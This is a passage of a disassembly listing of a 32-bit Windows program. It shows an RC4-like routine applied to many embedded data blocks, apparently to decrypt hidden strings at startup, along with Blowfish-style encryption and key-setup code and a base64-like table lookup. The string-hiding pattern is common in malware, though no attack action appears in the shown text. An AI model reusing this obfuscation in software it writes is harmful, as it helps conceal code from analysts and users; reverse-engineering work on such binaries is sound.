		mov	[ebp+var_44], edx
		lea	esi, [ebp+edx+var_1EC]
		xor	edx, edx
		mov	bl, [esi]
		movzx	eax, bl
		add	eax, [ebp+var_C]
		div	edi
		mov	[ebp+var_C], edx
		lea	eax, [ebp+edx+var_1EC]
		mov	dl, [eax]
		mov	[esi], dl
		mov	edx, [ebp+var_8]
		mov	[eax], bl
		mov	eax, [ebp+arg_0]
		lea	edi, [edx+eax]
		movzx	eax, byte ptr [esi]
		movzx	edx, bl
		add	eax, edx
		xor	edx, edx
		mov	esi, ecx
		div	esi
		mov	al, [ebp+edx+var_1EC]
		xor	[edi], al
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jb	short loc_416534


loc_416591:				; CODE XREF: sub_4163BB+175j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4163BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416596	proc near		; CODE XREF: sub_418E0F+76p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		mov	edi, offset dword_4439A8
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset dword_4439B4
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset dword_443E68
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset dword_443E8C
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset dword_443EB0
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		xor	ebx, ebx
		cmp	[ebp+arg_0], esi
		jle	short loc_41663F


loc_41661D:				; CODE XREF: sub_416596+A7j
		lea	edi, ds:443F00h[ebx*4]
		push	esi
		push	esi
		push	dword ptr [edi]
		call	sub_4293A0
		pop	ecx
		push	eax
		push	dword ptr [edi]
		call	sub_4163BB
		add	esp, 10h
		inc	ebx
		cmp	ebx, [ebp+arg_0]
		jl	short loc_41661D


loc_41663F:				; CODE XREF: sub_416596+85j
		push	esi
		mov	edi, offset dword_443F14
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset off_443F18
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset byte_457F6C
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset byte_457F6D
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset dword_443F1C
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset dword_443F24
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset dword_443F2C
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset dword_443F34
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		cmp	eax, esi
		jle	short loc_416745
		mov	edi, offset byte_443FDF
		mov	[ebp+arg_0], eax


loc_41670E:				; CODE XREF: sub_416596+1ADj
		lea	ebx, [edi-9Fh]
		push	esi
		push	esi
		push	ebx
		call	sub_4293A0
		pop	ecx
		push	eax
		push	ebx
		call	sub_4163BB
		add	esp, 10h
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		add	edi, 0B8h
		dec	[ebp+arg_0]
		jnz	short loc_41670E


loc_416745:				; CODE XREF: sub_416596+16Ej
		push	esi
		mov	edi, offset dword_444F14
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset byte_445013
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset dword_445324
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset byte_445423
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset dword_445734
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset byte_445833
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset a3c9 ; "]&3c9"
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset dword_4439BC
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		push	esi
		mov	edi, offset dword_443A5C
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset byte_443B5B
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset dword_4439CC
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		mov	edi, offset dword_4439E8
		push	esi
		push	esi
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		call	sub_4163BB
		add	esp, 10h
		push	esi
		push	esi
		mov	esi, offset loc_443A08
		push	esi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	esi
		call	sub_4163BB
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416596	endp


; =============== S U B	R O U T	I N E =======================================



sub_416882	proc near		; CODE XREF: sub_4170D6+65p
					; sub_417212+68p

var_8		= dword	ptr -8

		push	esi
		push	48h
		mov	esi, ecx
		call	sub_42B4D7
		mov	[esi], eax
		mov	[esp+8+var_8], 13A0h
		call	sub_42B4D7
		mov	[esi+4], eax
		pop	ecx
		mov	eax, esi
		pop	esi
		retn
sub_416882	endp


; =============== S U B	R O U T	I N E =======================================



sub_4168A2	proc near		; CODE XREF: sub_4170D6+12Bp
					; sub_417212+13Fp
		push	esi
		mov	esi, ecx
		push	dword ptr [esi]
		call	sub_4290D0
		push	dword ptr [esi+4]
		call	sub_4290D0
		pop	ecx
		pop	ecx
		pop	esi
		retn
sub_4168A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168B8	proc near		; CODE XREF: sub_416F9C+C0p
					; sub_416F9C+F3p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ecx]
		mov	edx, [eax]
		mov	eax, [ecx+4]
		xor	ecx, ecx
		xor	edx, [edi]
		xor	ebx, ebx
		mov	[ebp+var_C], edi
		mov	[ebp+var_4], edx
		mov	esi, edx
		mov	cl, byte ptr [ebp+var_4+2]
		mov	bl, dh
		shr	esi, 18h
		mov	ecx, [eax+ecx*4+4E8h]
		add	ecx, [eax+esi*4]
		mov	esi, 0FFh
		and	edx, esi
		xor	ecx, [eax+ebx*4+9D0h]
		add	ecx, [eax+edx*4+0EB8h]
		mov	edx, [ebp+arg_4]
		xor	ecx, [edi+4]
		xor	ecx, [edx]
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+8]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+0Ch]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+10h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		xor	edx, [eax+ebx*4+9D0h]
		and	edi, esi
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+14h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+18h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+1Ch]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+20h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+24h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	edx, [edi+28h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		xor	ebx, ebx
		add	edx, [eax+edi*4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edi, [ebp+var_4]
		xor	edx, [eax+ebx*4+9D0h]
		and	edi, esi
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+2Ch]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+30h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+34h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+38h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+3Ch]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		mov	eax, [ebp+var_4]
		xor	edx, [edi+40h]
		xor	eax, edx
		mov	edx, [ebp+arg_4]
		xor	ecx, [edi+44h]
		pop	edi
		mov	[edx], eax
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	ebx
		mov	[eax], ecx
		leave
		retn	8
sub_4168B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C29	proc near		; CODE XREF: sub_417212+D5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ecx]
		xor	ebx, ebx
		mov	[ebp+var_C], edi
		mov	edx, [edi+44h]
		xor	edx, [eax]
		mov	eax, [ecx+4]
		xor	ecx, ecx
		mov	[ebp+var_4], edx
		mov	esi, edx
		mov	cl, byte ptr [ebp+var_4+2]
		mov	bl, dh
		shr	esi, 18h
		mov	ecx, [eax+ecx*4+4E8h]
		add	ecx, [eax+esi*4]
		mov	esi, 0FFh
		and	edx, esi
		xor	ecx, [eax+ebx*4+9D0h]
		add	ecx, [eax+edx*4+0EB8h]
		mov	edx, [ebp+arg_4]
		xor	ecx, [edi+40h]
		xor	ecx, [edx]
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+3Ch]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+38h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+34h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		xor	edx, [eax+ebx*4+9D0h]
		and	edi, esi
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+30h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+2Ch]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+28h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+24h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+20h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	edx, [edi+1Ch]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		xor	ebx, ebx
		add	edx, [eax+edi*4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edi, [ebp+var_4]
		xor	edx, [eax+ebx*4+9D0h]
		and	edi, esi
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+18h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+14h]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+10h]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		xor	ebx, ebx
		xor	edx, [edi+0Ch]
		xor	[ebp+var_4], edx
		xor	edx, edx
		mov	dl, byte ptr [ebp+var_4+2]
		mov	edi, [ebp+var_4]
		mov	bl, byte ptr [ebp+var_4+1]
		mov	edx, [eax+edx*4+4E8h]
		shr	edi, 18h
		add	edx, [eax+edi*4]
		mov	edi, [ebp+var_4]
		and	edi, esi
		xor	edx, [eax+ebx*4+9D0h]
		add	edx, [eax+edi*4+0EB8h]
		mov	edi, [ebp+var_C]
		xor	edx, [edi+8]
		xor	ecx, edx
		xor	edx, edx
		mov	[ebp+var_8], ecx
		mov	ebx, ecx
		mov	dl, byte ptr [ebp+var_8+2]
		shr	ebx, 18h
		mov	edx, [eax+edx*4+4E8h]
		add	edx, [eax+ebx*4]
		xor	ebx, ebx
		mov	bl, ch
		xor	edx, [eax+ebx*4+9D0h]
		mov	ebx, ecx
		and	ebx, esi
		add	edx, [eax+ebx*4+0EB8h]
		mov	eax, [ebp+var_4]
		xor	edx, [edi+4]
		xor	eax, edx
		mov	edx, [edi]
		xor	edx, ecx
		mov	ecx, [ebp+arg_0]
		pop	edi
		pop	esi
		mov	[ecx], edx
		mov	ecx, [ebp+arg_4]
		pop	ebx
		mov	[ecx], eax
		leave
		retn	8
sub_416C29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F9C	proc near		; CODE XREF: sub_4170D6+76p
					; sub_417212+79p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		mov	[ebp+var_8], ecx
		xor	eax, eax


loc_416FAC:				; CODE XREF: sub_416F9C+21j
		mov	edx, [ecx]
		mov	edi, dword_441778[eax]
		mov	[eax+edx], edi
		add	eax, 4
		cmp	eax, 48h
		jl	short loc_416FAC
		xor	eax, eax


loc_416FC1:				; CODE XREF: sub_416F9C+41j
		mov	edx, 13Ah


loc_416FC6:				; CODE XREF: sub_416F9C+3Aj
		mov	edi, [ecx+4]
		mov	ebx, dword_4417C0[eax]
		mov	[eax+edi], ebx
		add	eax, 4
		dec	edx
		jnz	short loc_416FC6
		cmp	eax, 13A0h
		jl	short loc_416FC1
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_4], esi


loc_416FE5:				; CODE XREF: sub_416F9C+A9j
		lea	eax, [esi+1]
		cdq
		idiv	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		movzx	edi, byte ptr [esi+ebx]
		mov	eax, [eax]
		shl	edi, 18h
		and	edi, 0FF00FFFFh
		movzx	ecx, byte ptr [edx+ebx]
		mov	edx, [ebp+var_4]
		add	[ebp+var_4], 4
		add	edx, eax
		lea	eax, [esi+2]
		mov	[ebp+var_C], edx
		cdq
		idiv	[ebp+arg_4]
		shl	ecx, 10h
		xor	ecx, edi
		xor	eax, eax
		xor	cx, cx
		mov	ah, [edx+ebx]
		xor	eax, ecx
		mov	ecx, eax
		lea	eax, [esi+3]
		cdq
		idiv	[ebp+arg_4]
		movzx	eax, byte ptr [edx+ebx]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	[eax], ecx
		lea	eax, [esi+4]
		cdq
		idiv	[ebp+arg_4]
		cmp	[ebp+var_4], 48h
		mov	esi, edx
		jl	short loc_416FE5
		xor	esi, esi
		mov	[ebp+arg_4], esi
		mov	[ebp+arg_0], esi


loc_41704F:				; CODE XREF: sub_416F9C+DCj
		mov	edi, [ebp+var_8]
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, edi
		call	sub_4168B8
		mov	eax, [edi]
		mov	ecx, [ebp+arg_4]
		mov	[esi+eax], ecx
		mov	eax, [edi]
		mov	ecx, [ebp+arg_0]
		mov	[esi+eax+4], ecx
		add	esi, 8
		cmp	esi, 48h
		jl	short loc_41704F
		push	4
		pop	esi


loc_41707D:				; CODE XREF: sub_416F9C+117j
		mov	ebx, 9Dh


loc_417082:				; CODE XREF: sub_416F9C+10Fj
		mov	edi, [ebp+var_8]
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, edi
		call	sub_4168B8
		mov	eax, [edi+4]
		mov	ecx, [ebp+arg_4]
		mov	[esi+eax-4], ecx
		mov	eax, [edi+4]
		mov	ecx, [ebp+arg_0]
		mov	[esi+eax], ecx
		add	esi, 8
		dec	ebx
		jnz	short loc_417082
		cmp	esi, 13A4h
		jl	short loc_41707D
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_416F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4170BC	proc near		; CODE XREF: sub_417212+9Ap
					; sub_417212+B5p

arg_0		= byte ptr  4

		xor	eax, eax


loc_4170BE:				; CODE XREF: sub_4170BC+15j
		mov	ecx, off_442B60
		mov	cl, [ecx+eax]
		cmp	cl, [esp+arg_0]
		jz	short locret_4170D5
		inc	eax
		cmp	eax, 40h
		jl	short loc_4170BE
		xor	eax, eax

locret_4170D5:				; CODE XREF: sub_4170BC+Fj
		retn
sub_4170BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170D6	proc near		; CODE XREF: sub_415603+1Ep

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	[ebp+arg_4]
		mov	esi, dword_437088
		call	esi ; dword_437088
		add	eax, 9
		push	eax
		call	sub_42B4D7
		pop	ecx
		mov	ebx, eax
		push	[ebp+arg_4]
		push	ebx
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	loc_41720C
		cmp	byte ptr [eax],	0
		jz	loc_41720C
		push	edi
		mov	edi, ebx
		push	[ebp+arg_4]
		call	esi ; dword_437088
		lea	eax, [eax+eax+12h]
		push	eax
		call	sub_42B4D7
		cmp	byte ptr [ebx],	0
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_417134


loc_41712E:				; CODE XREF: sub_4170D6+5Cj
		inc	edi
		cmp	byte ptr [edi],	0
		jnz	short loc_41712E


